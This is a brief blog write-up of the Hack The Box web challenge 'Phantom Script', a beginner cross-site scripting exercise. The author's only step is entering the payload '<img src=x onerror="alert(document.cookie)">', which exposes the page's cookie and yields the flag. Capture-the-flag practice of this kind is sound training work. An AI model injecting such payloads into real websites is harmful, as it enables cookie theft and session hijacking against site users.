Hacking Insights by Max Bautista

Phantom Script writeup

Challenge name: Phantom Script

Difficulty: Very Easy

Challenge Scenario: Phantom Script is a very easy web challenge where players can learn about Cross Site Scripting interactively.

Link: https://app.hackthebox.com/challenges/Phantom%2520Script?tab=play_challenge

Machine IP: 154.57.164.81:30383

Navigated to the site.

I ended up running.

<img src=x onerror=”alert(document.cookie)”>

And I got the flag.

GG